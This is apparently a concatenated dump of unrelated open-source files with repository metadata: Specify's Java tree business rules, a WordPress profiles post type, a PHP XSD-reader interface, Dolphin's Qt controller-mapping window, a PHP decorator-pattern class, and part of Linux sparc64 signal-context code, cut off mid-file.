)parentDataObj).getFullName(); } boolean saveIt = UIRegistry.displayConfirm( UIRegistry.getResourceString("BaseTreeBusRules.IDENTICALLY_NAMED_SIBLING_TITLE"), String.format(UIRegistry.getResourceString("BaseTreeBusRules.IDENTICALLY_NAMED_SIBLING_MSG"), parentName, ((Treeable<T,D,I> )dataObj).getName()), UIRegistry.getResourceString("SAVE"), UIRegistry.getResourceString("CANCEL"), JOptionPane.QUESTION_MESSAGE); if (!saveIt) { //Adding to reasonList prevents blank "Issue of Concern" popup - //but causes annoying second "duplicate child" nag. reasonList .add(UIRegistry .getResourceString("BaseTreeBusRules.IDENTICALLY_NAMED_SIBLING")); // XXX // i18n result = STATUS.Error; } } return result; } /** * @param dataObj * @return OK if required data is present. * * Checks for requirements that can't be defined in the database schema. */ protected STATUS checkForRequiredFields(Object dataObj) { if (dataObj instanceof Treeable<?,?,?>) { STATUS result = STATUS.OK; Treeable<?,?,?> obj = (Treeable<?,?,?> )dataObj; if (obj.getParent() == null ) { if (obj.getDefinitionItem() != null && obj.getDefinitionItem().getParent() == null) { //it's the root, null parent is OK. return result; } result = STATUS.Error; DBTableInfo info = DBTableIdMgr.getInstance().getInfoById(obj.getTableId()); DBFieldInfo fld = info.getFieldByColumnName("Parent"); String fldTitle = fld != null ? fld.getTitle() : UIRegistry.getResourceString("PARENT"); reasonList.add(String.format(UIRegistry.getResourceString("GENERIC_FIELD_MISSING"), fldTitle)); } //check that non-accepted node has an 'AcceptedParent' if (obj.getIsAccepted() == null || !obj.getIsAccepted() && obj.getAcceptedParent() == null) { result = STATUS.Error; DBTableInfo info = DBTableIdMgr.getInstance().getInfoById(obj.getTableId()); DBFieldInfo fld = info.getFieldByColumnName("AcceptedParent"); String fldTitle = fld != null ? fld.getTitle() : UIRegistry.getResourceString("ACCEPTED"); reasonList.add(String.format(UIRegistry.getResourceString("GENERIC_FIELD_MISSING"), fldTitle)); } return result; } return STATUS.None; //??? } /* (non-Javadoc) * @see edu.ku.brc.af.ui.forms.BaseBusRules#processBusinessRules(java.lang.Object, java.lang.Object, boolean) */ @Override public STATUS processBusinessRules(Object parentDataObj, Object dataObj, boolean isExistingObject) { reasonList.clear(); STATUS result = STATUS.OK; if (!processedRules && dataObj instanceof Treeable<?, ?, ?>) { result = checkForSiblingWithSameName(parentDataObj, dataObj, isExistingObject); if (result == STATUS.OK) { result = checkForRequiredFields(dataObj); } if (result == STATUS.OK) { processedRules = true; } } return result; } /* (non-Javadoc) * @see edu.ku.brc.af.ui.forms.BaseBusRules#isOkToSave(java.lang.Object, edu.ku.brc.dbsupport.DataProviderSessionIFace) */ /* * NOTE: If this method is overridden, freeLocks() MUST be called when result is false * !! * */ @Override public boolean isOkToSave(Object dataObj, DataProviderSessionIFace session) { boolean result = super.isOkToSave(dataObj, session); if (result && dataObj != null && !StringUtils.contains(formViewObj.getView().getName(), "TreeDef") && BaseTreeBusRules.ALLOW_CONCURRENT_FORM_ACCESS) { if (!getRequiredLocks(dataObj)) { result = false; reasonList.add(getUnableToLockMsg()); } } return result; } /** * @return true if locks were aquired. * * Locks necessary tables prior to a save. * Only used when ALLOW_CONCURRENT_FORM_ACCESS is true. */ protected boolean getRequiredLocks(Object dataObj) { TreeDefIface<?,?,?> treeDef = ((Treeable<?,?,?>)dataObj).getDefinition(); boolean result = !TreeDefStatusMgr.isRenumberingNodes(treeDef) && TreeDefStatusMgr.isNodeNumbersAreUpToDate(treeDef); if (!result) { try { Thread.sleep(1500); result = !TreeDefStatusMgr.isRenumberingNodes(treeDef) && TreeDefStatusMgr.isNodeNumbersAreUpToDate(treeDef); } catch (Exception e) { result = false; } } if (result) { TaskSemaphoreMgr.USER_ACTION r = TaskSemaphoreMgr.lock(getFormSaveLockTitle(), getFormSaveLockName(), "save", TaskSemaphoreMgr.SCOPE.Discipline, false, new TaskSemaphoreMgrCallerIFace(){ /* (non-Javadoc) * @see edu.ku.brc.specify.dbsupport.TaskSemaphoreMgrCallerIFace#resolveConflict(edu.ku.brc.specify.datamodel.SpTaskSemaphore, boolean, java.lang.String) */ @Override public USER_ACTION resolveConflict( SpTaskSemaphore semaphore, boolean previouslyLocked, String prevLockBy) { if (System.currentTimeMillis() - semaphore.getLockedTime().getTime() > FORM_SAVE_LOCK_MAX_DURATION_IN_MILLIS) { //something is clearly wrong with the lock. Ignore it and re-use it. It will be cleared when save succeeds. log.warn("automatically overriding expired " + getFormSaveLockTitle() + " lock set by " + prevLockBy + " at " + DateFormat.getDateTimeInstance().format(semaphore.getLockedTime())); return USER_ACTION.OK; } else { return USER_ACTION.Error; } } }, false); result = r == TaskSemaphoreMgr.USER_ACTION.OK; } return result; } /** * @return the class for the generic parameter <T> */ protected abstract Class<?> getNodeClass(); /** * @return the title for the form save lock. */ protected String getFormSaveLockTitle() { return String.format(UIRegistry.getResourceString("BaseTreeBusRules.SaveLockTitle"), getNodeClass().getSimpleName()); } /** * @return the name for the form save lock. */ protected String getFormSaveLockName() { return getNodeClass().getSimpleName() + "Save"; } /** * @return localized message to display in case of failure to lock for saving. */ protected String getUnableToLockMsg() { return UIRegistry.getResourceString("BaseTreeBusRules.UnableToLockForSave"); } /** * Free locks acquired for saving. */ protected void freeLocks() { TaskSemaphoreMgr.unlock(getFormSaveLockTitle(), getFormSaveLockName(), TaskSemaphoreMgr.SCOPE.Discipline); } /* (non-Javadoc) * @see edu.ku.brc.af.ui.forms.BaseBusRules#afterSaveCommit(java.lang.Object, edu.ku.brc.dbsupport.DataProviderSessionIFace) */ @Override public boolean afterSaveCommit(Object dataObj, DataProviderSessionIFace session) { boolean result = false; if (!super.afterSaveCommit(dataObj, session)) { result = false; } if (BaseTreeBusRules.ALLOW_CONCURRENT_FORM_ACCESS && viewable != null) { freeLocks(); } return result; } /* (non-Javadoc) * @see edu.ku.brc.af.ui.forms.BaseBusRules#afterSaveFailure(java.lang.Object, edu.ku.brc.dbsupport.DataProviderSessionIFace) */ @Override public void afterSaveFailure(Object dataObj, DataProviderSessionIFace session) { super.afterSaveFailure(dataObj, session); if (BaseTreeBusRules.ALLOW_CONCURRENT_FORM_ACCESS && viewable != null) { freeLocks(); } } /* (non-Javadoc) * @see edu.ku.brc.af.ui.forms.BaseBusRules#processBusinessRules(java.lang.Object) */ @Override public STATUS processBusinessRules(Object dataObj) { STATUS result = STATUS.OK; if (!processedRules) { result = super.processBusinessRules(dataObj); if (result == STATUS.OK) { result = checkForSiblingWithSameName(null, dataObj, false); } if (result == STATUS.OK) { result = checkForRequiredFields(dataObj); } } else { processedRules = false; } return result; } }
specify/specify6
src/edu/ku/brc/specify/datamodel/busrules/BaseTreeBusRules.java
Java
gpl-2.0
58,365
<?php /** * @package WordPress Plugin * @subpackage CMSMasters Content Composer * @version 1.1.0 * * Profiles Post Type * Created by CMSMasters * */ class Cmsms_Profiles { function Cmsms_Profiles() { $cmsms_option = cmsms_get_global_options(); $profile_labels = array( 'name' => __('Profiles', 'cmsms_content_composer'), 'singular_name' => __('Profiles', 'cmsms_content_composer'), 'menu_name' => __('Profiles', 'cmsms_content_composer'), 'all_items' => __('All Profiles', 'cmsms_content_composer'), 'add_new' => __('Add New', 'cmsms_content_composer'), 'add_new_item' => __('Add New Profile', 'cmsms_content_composer'), 'edit_item' => __('Edit Profile', 'cmsms_content_composer'), 'new_item' => __('New Profile', 'cmsms_content_composer'), 'view_item' => __('View Profile', 'cmsms_content_composer'), 'search_items' => __('Search Profiles', 'cmsms_content_composer'), 'not_found' => __('No Profiles found', 'cmsms_content_composer'), 'not_found_in_trash' => __('No Profiles found in Trash', 'cmsms_content_composer') ); $profile_args = array( 'labels' => $profile_labels, 'query_var' => 'profile', 'capability_type' => 'post', 'menu_position' => 52, 'menu_icon' => 'dashicons-id', 'public' => true, 'show_ui' => true, 'hierarchical' => false, 'has_archive' => true, 'supports' => array( 'title', 'editor', 'thumbnail', 'excerpt', 'trackbacks', 'custom-fields', 'comments', 'revisions', 'page-attributes' ), 'rewrite' => array( 'slug' => $cmsms_option[CMSMS_SHORTNAME . '_profile_post_slug'], 'with_front' => true ) ); register_post_type('profile', $profile_args); add_filter('manage_edit-profile_columns', array(&$this, 'edit_columns')); add_filter('manage_edit-profile_sortable_columns', array(&$this, 'edit_sortable_columns')); register_taxonomy('pl-categs', array('profile'), array( 'hierarchical' => true, 'label' => __('Profile Categories', 'cmsms_content_composer'), 'singular_label' => __('Profile Category', 'cmsms_content_composer'), 'rewrite' => array( 'slug' => 'pl-categs', 'with_front' => true ) )); add_action('manage_posts_custom_column', array(&$this, 'custom_columns')); } function edit_columns($columns) { unset($columns['author']); unset($columns['comments']); unset($columns['date']); $new_columns = array( 'cb' => '<input type="checkbox" />', 'title' => __('Title', 'cmsms_content_composer'), 'pl_avatar' => __('Avatar', 'cmsms_content_composer'), 'pl_categs' => __('Categories', 'cmsms_content_composer'), 'comments' => '<span class="vers"><div title="' . __('Comments', 'cmsms_content_composer') . '" class="comment-grey-bubble"></div></span>', 'menu_order' => '<span class="vers"><div class="dashicons dashicons-sort" title="' . __('Order', 'cmsms_content_composer') . '"></div></span>' ); $result_columns = array_merge($columns, $new_columns); return $result_columns; } function custom_columns($column) { switch ($column) { case 'pl_avatar': if (has_post_thumbnail() != '') { echo get_the_post_thumbnail(get_the_ID(), 'thumbnail', array( 'alt' => cmsms_title(get_the_ID(), false), 'title' => cmsms_title(get_the_ID(), false), 'style' => 'width:75px; height:75px;' )); } else { echo '<em>' . __('No Avatar', 'cmsms_content_composer') . '</em>'; } break; case 'pl_categs': if (get_the_terms(0, 'pl-categs') != '') { $pl_categs = get_the_terms(0, 'pl-categs'); $pl_categs_html = array(); foreach ($pl_categs as $pl_categ) { array_push($pl_categs_html, '<a href="' . get_term_link($pl_categ->slug, 'pl-categs') . '">' . $pl_categ->name . '</a>'); } echo implode($pl_categs_html, ', '); } else { echo '<em>' . __('Uncategorized', 'cmsms_content_composer') . '</em>'; } break; case 'menu_order': $custom_pl_post = get_post(get_the_ID()); $custom_pl_ord = $custom_pl_post->menu_order; echo $custom_pl_ord; break; } } function edit_sortable_columns($columns) { $columns['menu_order'] = 'menu_order'; return $columns; } } function cmsms_profiles_init() { global $pl; $pl = new Cmsms_Profiles(); } add_action('init', 'cmsms_profiles_init');
d8ta/CMS_Skiclub
wp-content/plugins/cmsms-content-composer/inc/profile/profiles-posttype.php
PHP
gpl-2.0
4,628
<?php namespace Goetas\XML\XSDReader\Schema\Element; interface ElementSingle extends ElementItem { /** * @return \Goetas\XML\XSDReader\Schema\Type\Type */ public function getType(); /** * * @return int */ public function getMin(); /** * * @param int $qualified */ public function setMin($min); /** * * @return int */ public function getMax(); /** * * @param int $qualified */ public function setMax($max); /** * * @return bool */ public function isQualified(); /** * * @param boolean $qualified */ public function setQualified($qualified); /** * * @return bool */ public function isNil(); /** * * @param boolean $qualified */ public function setNil($nil); }
DLoBoston/simply.fund
wp-content/plugins/charitable-authorize-net/includes/libraries/anet_php_sdk/vendor/goetas/xsd-reader/src/Schema/Element/ElementSingle.php
PHP
gpl-2.0
870
// Copyright 2017 Dolphin Emulator Project // Licensed under GPLv2+ // Refer to the license.txt file included. #include <QComboBox> #include <QDialogButtonBox> #include <QGroupBox> #include <QHBoxLayout> #include <QMessageBox> #include <QPushButton> #include <QTabWidget> #include <QVBoxLayout> #include "DolphinQt2/Config/Mapping/MappingWindow.h" #include "Common/FileUtil.h" #include "Common/IniFile.h" #include "Core/Core.h" #include "Core/HW/GCPad.h" #include "DolphinQt2/Config/Mapping/GCKeyboardEmu.h" #include "DolphinQt2/Config/Mapping/GCPadEmu.h" #include "DolphinQt2/Config/Mapping/GCPadWiiU.h" #include "DolphinQt2/Config/Mapping/WiimoteEmuExtension.h" #include "DolphinQt2/Config/Mapping/WiimoteEmuGeneral.h" #include "DolphinQt2/Config/Mapping/WiimoteEmuMotionControl.h" #include "DolphinQt2/Settings.h" #include "InputCommon/ControllerEmu/ControllerEmu.h" #include "InputCommon/ControllerInterface/Device.h" #include "InputCommon/InputConfig.h" #include "InputCommon/ControllerInterface/ControllerInterface.h" MappingWindow::MappingWindow(QWidget* parent, int port_num) : QDialog(parent), m_port(port_num) { setWindowTitle(tr("Port %1").arg(port_num + 1)); CreateDevicesLayout(); CreateProfilesLayout(); CreateResetLayout(); CreateMainLayout(); ConnectWidgets(); } void MappingWindow::CreateDevicesLayout() { m_devices_layout = new QHBoxLayout(); m_devices_box = new QGroupBox(tr("Devices")); m_devices_combo = new QComboBox(); m_devices_refresh = new QPushButton(tr("Refresh")); m_devices_refresh->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); m_devices_layout->addWidget(m_devices_combo); m_devices_layout->addWidget(m_devices_refresh); m_devices_box->setLayout(m_devices_layout); } void MappingWindow::CreateProfilesLayout() { m_profiles_layout = new QVBoxLayout(); m_profiles_box = new QGroupBox(tr("Profiles")); m_profiles_combo = new QComboBox(); m_profiles_load = new QPushButton(tr("Load")); m_profiles_save = new QPushButton(tr("Save")); m_profiles_delete = new QPushButton(tr("Delete")); auto* button_layout = new QHBoxLayout(); m_profiles_box->setSizePolicy(QSizePolicy::Expanding, QSizePolicy::Fixed); m_profiles_combo->setEditable(true); m_profiles_layout->addWidget(m_profiles_combo); button_layout->addWidget(m_profiles_load); button_layout->addWidget(m_profiles_save); button_layout->addWidget(m_profiles_delete); m_profiles_layout->addItem(button_layout); m_profiles_box->setLayout(m_profiles_layout); } void MappingWindow::CreateResetLayout() { m_reset_layout = new QVBoxLayout(); m_reset_box = new QGroupBox(tr("Reset")); m_reset_clear = new QPushButton(tr("Clear")); m_reset_default = new QPushButton(tr("Default")); m_reset_box->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); m_reset_layout->addWidget(m_reset_clear); m_reset_layout->addWidget(m_reset_default); m_reset_box->setLayout(m_reset_layout); } void MappingWindow::CreateMainLayout() { m_main_layout = new QVBoxLayout(); m_config_layout = new QHBoxLayout(); m_tab_widget = new QTabWidget(); m_button_box = new QDialogButtonBox(QDialogButtonBox::Ok); m_config_layout->addWidget(m_profiles_box); m_config_layout->addWidget(m_reset_box); m_main_layout->addWidget(m_devices_box); m_main_layout->addItem(m_config_layout); m_main_layout->addWidget(m_tab_widget); m_main_layout->addWidget(m_button_box); setLayout(m_main_layout); } void MappingWindow::ConnectWidgets() { connect(m_devices_refresh, &QPushButton::clicked, this, &MappingWindow::RefreshDevices); connect(m_devices_combo, static_cast<void (QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this, &MappingWindow::OnDeviceChanged); connect(m_reset_clear, &QPushButton::clicked, this, [this] { emit ClearFields(); }); connect(m_reset_default, &QPushButton::clicked, this, &MappingWindow::OnDefaultFieldsPressed); connect(m_profiles_save, &QPushButton::clicked, this, &MappingWindow::OnSaveProfilePressed); connect(m_profiles_load, &QPushButton::clicked, this, &MappingWindow::OnLoadProfilePressed); connect(m_profiles_delete, &QPushButton::clicked, this, &MappingWindow::OnDeleteProfilePressed); connect(m_button_box, &QDialogButtonBox::accepted, this, &MappingWindow::accept); } void MappingWindow::OnDeleteProfilePressed() { auto& settings = Settings::Instance(); const QString profile_name = m_profiles_combo->currentText(); if (!settings.GetProfiles(m_config).contains(profile_name)) { QMessageBox error; error.setIcon(QMessageBox::Critical); error.setText(tr("The profile '%1' does not exist").arg(profile_name)); error.exec(); return; } QMessageBox confirm(this); confirm.setIcon(QMessageBox::Warning); confirm.setText(tr("Are you sure that you want to delete '%1'?").arg(profile_name)); confirm.setInformativeText(tr("This cannot be undone!")); confirm.setStandardButtons(QMessageBox::Yes | QMessageBox::Cancel); if (confirm.exec() != QMessageBox::Yes) { return; } m_profiles_combo->removeItem(m_profiles_combo->currentIndex()); QMessageBox result(this); std::string profile_path = settings.GetProfileINIPath(m_config, profile_name).toStdString(); File::CreateFullPath(profile_path); File::Delete(profile_path); result.setIcon(QMessageBox::Information); result.setText(tr("Successfully deleted '%1'.").arg(profile_name)); } void MappingWindow::OnLoadProfilePressed() { const QString profile_name = m_profiles_combo->currentText(); if (profile_name.isEmpty()) return; std::string profile_path = Settings::Instance().GetProfileINIPath(m_config, profile_name).toStdString(); File::CreateFullPath(profile_path); IniFile ini; ini.Load(profile_path); m_controller->LoadConfig(ini.GetOrCreateSection("Profile")); m_controller->UpdateReferences(g_controller_interface); emit Update(); RefreshDevices(); } void MappingWindow::OnSaveProfilePressed() { const QString profile_name = m_profiles_combo->currentText(); if (profile_name.isEmpty()) return; std::string profile_path = Settings::Instance().GetProfileINIPath(m_config, profile_name).toStdString(); File::CreateFullPath(profile_path); IniFile ini; m_controller->SaveConfig(ini.GetOrCreateSection("Profile")); ini.Save(profile_path); if (m_profiles_combo->currentIndex() == 0) { m_profiles_combo->addItem(profile_name); m_profiles_combo->setCurrentIndex(m_profiles_combo->count() - 1); } } void MappingWindow::OnDeviceChanged(int index) { const auto device = m_devices_combo->currentText().toStdString(); m_devq.FromString(device); m_controller->default_device.FromString(device); } void MappingWindow::RefreshDevices() { m_devices_combo->clear(); const bool paused = Core::PauseAndLock(true); g_controller_interface.RefreshDevices(); m_controller->UpdateReferences(g_controller_interface); m_controller->UpdateDefaultDevice(); const auto default_device = m_controller->default_device.ToString(); m_devices_combo->addItem(QString::fromStdString(default_device)); for (const auto& name : g_controller_interface.GetAllDeviceStrings()) { if (name != default_device) m_devices_combo->addItem(QString::fromStdString(name)); } m_devices_combo->setCurrentIndex(0); Core::PauseAndLock(false, paused); } void MappingWindow::ChangeMappingType(MappingWindow::Type type) { if (m_mapping_type == type) return; ClearWidgets(); m_controller = nullptr; MappingWidget* widget; switch (type) { case Type::MAPPING_GC_KEYBOARD: widget = new GCKeyboardEmu(this); AddWidget(tr("GameCube Keyboard"), widget); setWindowTitle(tr("GameCube Keyboard at Port %1").arg(GetPort() + 1)); break; case Type::MAPPING_GC_BONGOS: case Type::MAPPING_GC_STEERINGWHEEL: case Type::MAPPING_GC_DANCEMAT: case Type::MAPPING_GCPAD: widget = new GCPadEmu(this); setWindowTitle(tr("GameCube Controller at Port %1").arg(GetPort() + 1)); AddWidget(tr("GameCube Controller"), widget); break; case Type::MAPPING_GCPAD_WIIU: widget = new GCPadWiiU(this); setWindowTitle(tr("GameCube Adapter for Wii U at Port %1").arg(GetPort() + 1)); AddWidget(tr("GameCube Adapter for Wii U"), widget); break; case Type::MAPPING_WIIMOTE_EMU: case Type::MAPPING_WIIMOTE_HYBRID: { auto* extension = new WiimoteEmuExtension(this); widget = new WiimoteEmuGeneral(this, extension); setWindowTitle(tr("Wii Remote at Port %1").arg(GetPort() + 1)); AddWidget(tr("General and Options"), widget); AddWidget(tr("Motion Controls and IR"), new WiimoteEmuMotionControl(this)); AddWidget(tr("Extension"), extension); break; } default: return; } widget->LoadSettings(); m_profiles_combo->clear(); m_config = widget->GetConfig(); if (m_config) { m_controller = m_config->GetController(GetPort()); m_profiles_combo->addItem(QStringLiteral("")); for (const auto& item : Settings::Instance().GetProfiles(m_config)) m_profiles_combo->addItem(item); } SetLayoutComplex(type != Type::MAPPING_GCPAD_WIIU); if (m_controller != nullptr) RefreshDevices(); m_mapping_type = type; } void MappingWindow::ClearWidgets() { m_tab_widget->clear(); } void MappingWindow::AddWidget(const QString& name, QWidget* widget) { m_tab_widget->addTab(widget, name); } void MappingWindow::SetLayoutComplex(bool is_complex) { m_reset_box->setHidden(!is_complex); m_profiles_box->setHidden(!is_complex); m_devices_box->setHidden(!is_complex); m_is_complex = is_complex; } int MappingWindow::GetPort() const { return m_port; } const ciface::Core::DeviceQualifier& MappingWindow::GetDeviceQualifier() const { return m_devq; } std::shared_ptr<ciface::Core::Device> MappingWindow::GetDevice() const { return g_controller_interface.FindDevice(m_devq); } void MappingWindow::SetBlockInputs(const bool block) { m_block = block; } bool MappingWindow::event(QEvent* event) { if (!m_block) return QDialog::event(event); return false; }
Freyaday/dolphin
Source/Core/DolphinQt2/Config/Mapping/MappingWindow.cpp
C++
gpl-2.0
10,097
<?php /** * Created by PhpStorm. * User: Angga Ari Wijaya * Date: 9/12/2015 * Time: 1:04 AM */ namespace DecoratorPattern; class VisaPayment implements PaymentMethod { public function getDescription() { return "Visa description"; } }
anggadarkprince/design-pattern
DecoratorPattern/VisaPayment.php
PHP
gpl-2.0
262
#ifdef CONFIG_COMPAT #include <linux/compat.h> /* for compat_old_sigset_t */ #endif #include <linux/sched.h> #include <linux/kernel.h> #include <linux/signal.h> #include <linux/errno.h> #include <linux/wait.h> #include <linux/ptrace.h> #include <linux/tracehook.h> #include <linux/unistd.h> #include <linux/mm.h> #include <linux/tty.h> #include <linux/binfmts.h> #include <linux/bitops.h> #include <asm/uaccess.h> #include <asm/ptrace.h> #include <asm/pgtable.h> #include <asm/fpumacro.h> #include <asm/uctx.h> #include <asm/siginfo.h> #include <asm/visasm.h> #include "entry.h" #include "systbls.h" #define _BLOCKABLE (~(sigmask(SIGKILL) | sigmask(SIGSTOP))) /* {set, get}context() needed for 64-bit SparcLinux userland. */ asmlinkage void sparc64_set_context(struct pt_regs *regs) { struct ucontext __user *ucp = (struct ucontext __user *) regs->u_regs[UREG_I0]; mc_gregset_t __user *grp; unsigned long pc, npc, tstate; unsigned long fp, i7; unsigned char fenab; int err; flush_user_windows(); if (get_thread_wsaved() || (((unsigned long)ucp) & (sizeof(unsigned long)-1)) || (!__access_ok(ucp, sizeof(*ucp)))) goto do_sigsegv; grp = &ucp->uc_mcontext.mc_gregs; err = __get_user(pc, &((*grp)[MC_PC])); err |= __get_user(npc, &((*grp)[MC_NPC])); if (err || ((pc | npc) & 3)) goto do_sigsegv; if (regs->u_regs[UREG_I1]) { sigset_t set; if (_NSIG_WORDS == 1) { if (__get_user(set.sig[0], &ucp->uc_sigmask.sig[0])) goto do_sigsegv; } else { if (__copy_from_user(&set, &ucp->uc_sigmask, sizeof(sigset_t))) goto do_sigsegv; } sigdelsetmask(&set, ~_BLOCKABLE); spin_lock_irq(&current->sighand->siglock); current->blocked = set; recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); } if (test_thread_flag(TIF_32BIT)) { pc &= 0xffffffff; npc &= 0xffffffff; } regs->tpc = pc; regs->tnpc = npc; err |= __get_user(regs->y, &((*grp)[MC_Y])); err |= __get_user(tstate, &((*grp)[MC_TSTATE])); regs->tstate &= ~(TSTATE_ASI | TSTATE_ICC | TSTATE_XCC); regs->tstate |= (tstate & (TSTATE_ASI | TSTATE_ICC | TSTATE_XCC)); err |= __get_user(regs->u_regs[UREG_G1], (&(*grp)[MC_G1])); err |= __get_user(regs->u_regs[UREG_G2], (&(*grp)[MC_G2])); err |= __get_user(regs->u_regs[UREG_G3], (&(*grp)[MC_G3])); err |= __get_user(regs->u_regs[UREG_G4], (&(*grp)[MC_G4])); err |= __get_user(regs->u_regs[UREG_G5], (&(*grp)[MC_G5])); err |= __get_user(regs->u_regs[UREG_G6], (&(*grp)[MC_G6])); /* Skip %g7 as that's the thread register in userspace. */ err |= __get_user(regs->u_regs[UREG_I0], (&(*grp)[MC_O0])); err |= __get_user(regs->u_regs[UREG_I1], (&(*grp)[MC_O1])); err |= __get_user(regs->u_regs[UREG_I2], (&(*grp)[MC_O2])); err |= __get_user(regs->u_regs[UREG_I3], (&(*grp)[MC_O3])); err |= __get_user(regs->u_regs[UREG_I4], (&(*grp)[MC_O4])); err |= __get_user(regs->u_regs[UREG_I5], (&(*grp)[MC_O5])); err |= __get_user(regs->u_regs[UREG_I6], (&(*grp)[MC_O6])); err |= __get_user(regs->u_regs[UREG_I7], (&(*grp)[MC_O7])); err |= __get_user(fp, &(ucp->uc_mcontext.mc_fp)); err |= __get_user(i7, &(ucp->uc_mcontext.mc_i7)); err |= __put_user(fp, (&(((struct reg_window __user *)(STACK_BIAS+regs->u_regs[UREG_I6]))->ins[6]))); err |= __put_user(i7, (&(((struct reg_window __user *)(STACK_BIAS+regs->u_regs[UREG_I6]))->ins[7]))); err |= __get_user(fenab, &(ucp->uc_mcontext.mc_fpregs.mcfpu_enab)); if (fenab) { unsigned long *fpregs = current_thread_info()->fpregs; unsigned long fprs; fprs_write(0); err |= __get_user(fprs, &(ucp->uc_mcontext.mc_fpregs.mcfpu_fprs)); if (fprs & FPRS_DL) err |= copy_from_user(fpregs, &(ucp->uc_mcontext.mc_fpregs.mcfpu_fregs), (sizeof(unsigned int) * 32)); if (fprs & FPRS_DU) err |= copy_from_user(fpregs+16, ((unsigned long __user *)&(ucp->uc_mcontext.mc_fpregs.mcfpu_fregs))+16, (sizeof(unsigned int) * 32)); err |= __get_user(current_thread_info()->xfsr[0], &(ucp->uc_mcontext.mc_fpregs.mcfpu_fsr)); err |= __get_user(current_thread_info()->gsr[0], &(ucp->uc_mcontext.mc_fpregs.mcfpu_gsr)); regs->tstate &= ~TSTATE_PEF; } if (err) goto do_sigsegv; return; do_sigsegv: force_sig(SIGSEGV, current); } asmlinkage void sparc64_get_context(struct pt_regs *regs) { struct ucontext __user *ucp = (struct ucontext __user *) regs->u_regs[UREG_I0]; mc_gregset_t __user *grp; mcontext_t __user *mcp; unsigned long fp, i7; unsigned char fenab; int err; synchronize_user_stack(); if (get_thread_wsaved() || clear_user(ucp, sizeof(*ucp))) goto do_sigsegv; #if 1 fenab = 0; /* IMO get_context is like any other system call, thus modifies FPU state -jj */ #else fenab = (current_thread_info()->fpsaved[0] & FPRS_FEF); #endif mcp = &ucp->uc_mcontext; grp = &mcp->mc_gregs; /* Skip over the trap instruction, first. */ if (test_thread_flag(TIF_32BIT)) { regs->tpc = (regs->tnpc & 0xffffffff); regs->tnpc = (regs->tnpc + 4) & 0xffffffff; } else { regs->tpc = regs->tnpc; regs->tnpc += 4; } err = 0; if (_NSIG_WORDS == 1) err |= __put_user(current->blocked.sig[0], (unsigned long __user *)&ucp->uc_sigmask); else err |= __copy_to_user(&ucp->uc_sigmask, &current->blocked, sizeof(sigset_t)); err |= __put_user(regs->tstate, &((*grp)[MC_TSTATE])); err |= __put_user(regs->tpc, &((*grp)[MC_PC])); err |= __put_user(regs->tnpc, &((*grp)[MC_NPC])); err |= __put_user(regs->y, &((*grp)[MC_Y])); err |= __put_user(regs->u_regs[UREG_G1], &((*grp)[MC_G1])); err |= __put_user(regs->u_regs[UREG_G2], &((*grp)[MC_G2])); err |= __put_user(regs->u_regs[UREG_G3], &((*grp)[MC_G3])); err |= __put_user(regs->u_regs[UREG_G4], &((*grp)[MC_G4])); err |= __put_user(regs->u_regs[UREG_G5], &((*grp)[MC_G5])); err |= __put_user(regs->u_regs[UREG_G6], &((*grp)[MC_G6])); err |= __put_user(regs->u_regs[UREG_G7], &((*grp)[MC_G7])); err |= __put_user(regs->u_regs[UREG_I0], &((*grp)[MC_O0])); err |= __put_user(regs->u_regs[UREG_I1], &((*grp)[MC_O1])); err |= __put_user(regs->u_regs[UREG_I2], &((*grp)[MC_O2])); err |= __put_user(regs->u_regs[UREG_I3], &((*grp)[MC_O3])); err |= __put_user(regs->u_regs[UREG_I4], &((*grp)[MC_O4])); err |= __put_user(regs->u_regs[UREG_I5], &((*grp)[MC_O5])); err |= __put_user(regs->u_regs[UREG_I6], &((*grp)[MC_O6])); err |= __put_user(regs->u_regs[UREG_I7], &((*grp)[MC_O7])); err |= __get_user(fp, (&(((struct reg_window __user *)(STACK_BIAS+regs->u_regs[UREG_I6]))->ins[6]))); err |= __get_user(i7, (&(((struct reg_window __user *)(STACK_BIAS+regs->u_regs[UREG_I6]))->ins[7]))); err |= __put_user(fp, &(mcp->mc_fp)); err |= __put_user(i7, &(mcp->mc_i7)); err |= __put_user(fenab, &(mcp->mc_fpregs.mcfpu_enab)); if (fenab) { unsigned long *fpregs = current_thread_info()->fpregs; unsigned long fprs; fprs = current_thread_info()->fpsaved[0]; if (fprs & FPRS_DL) err |= copy_to_user(&(mcp->mc_fpregs.mcfpu_fregs), fpregs, (sizeof(unsigned int) * 32)); if (fprs & FPRS_DU) err |= copy_to_user( ((unsigned long __user *)&(mcp->mc_fpregs.mcfpu_fregs))+16, fpregs+16, (sizeof(unsigned int) * 32)); err |= __put_user(current_thread_info()->xfsr[0], &(mcp->mc_fpregs.mcfpu_fsr)); err |= __put_user(current_thread_info()->gsr[0], &(mcp->mc_fpregs.mcfpu_gsr)); err |= __put_user(fprs, &(mcp->mc_fpregs.mcfpu_fprs)); } if (err) goto do_sigsegv; return; do_sigsegv: force_sig(SIGSEGV, current); } struct rt_signal_frame { struct sparc_stackf ss; siginfo_t info; struct pt_regs regs; __siginfo_fpu_t __user *fpu_save; stack_t stack; sigset_t mask; __siginfo_fpu_t fpu_state; }; static long _sigpause_common(old_sigset_t set) { set &= _BLOCKABLE; spin_lock_irq(&current->sighand->siglock); current->saved_sigmask = current->blocked; siginitset(&current->blocked, set); recalc_sigpending(); spin_unlock_irq(&current->sighand->siglock); current->state = TASK_INTERRUPTIBLE; schedule(); set_restore_sigmask(); return -ERESTARTNOHAND; } asmlinkage long sys_sigpause(unsigned int set) { return _sigpause_common(set); } asmlinkage long sys_sigsuspend(old_sigset_t set) { return _sigpause_common(set); } static inline int restore_fpu_state(struct pt_regs *regs, __siginfo_fpu_t __user *fpu) { unsigned long *fpregs = current_thread_info()->fpregs; unsigned long fprs; int err; err = __get_user(fprs, &fpu->si_fprs); fprs_write(0); regs->tstate &= ~TSTATE_PEF; if (fprs & FPRS_DL) err |= copy_from_user(fpregs, &fpu->si_float_regs[0], (sizeof(unsigned int) * 32)); if (fprs & FPRS_DU) err |= copy_from_user(fpregs+16, &fpu->si_float_regs[32], (sizeof(unsigned int) * 32)); err |= __get_user(current_thread_info()->xfsr[0], &fpu->si_fsr); err |= __get_user(current_thread_info()->gsr[0], &fpu->si_gsr); current_thread_info()->fpsaved[0] |= fprs; return err; } void 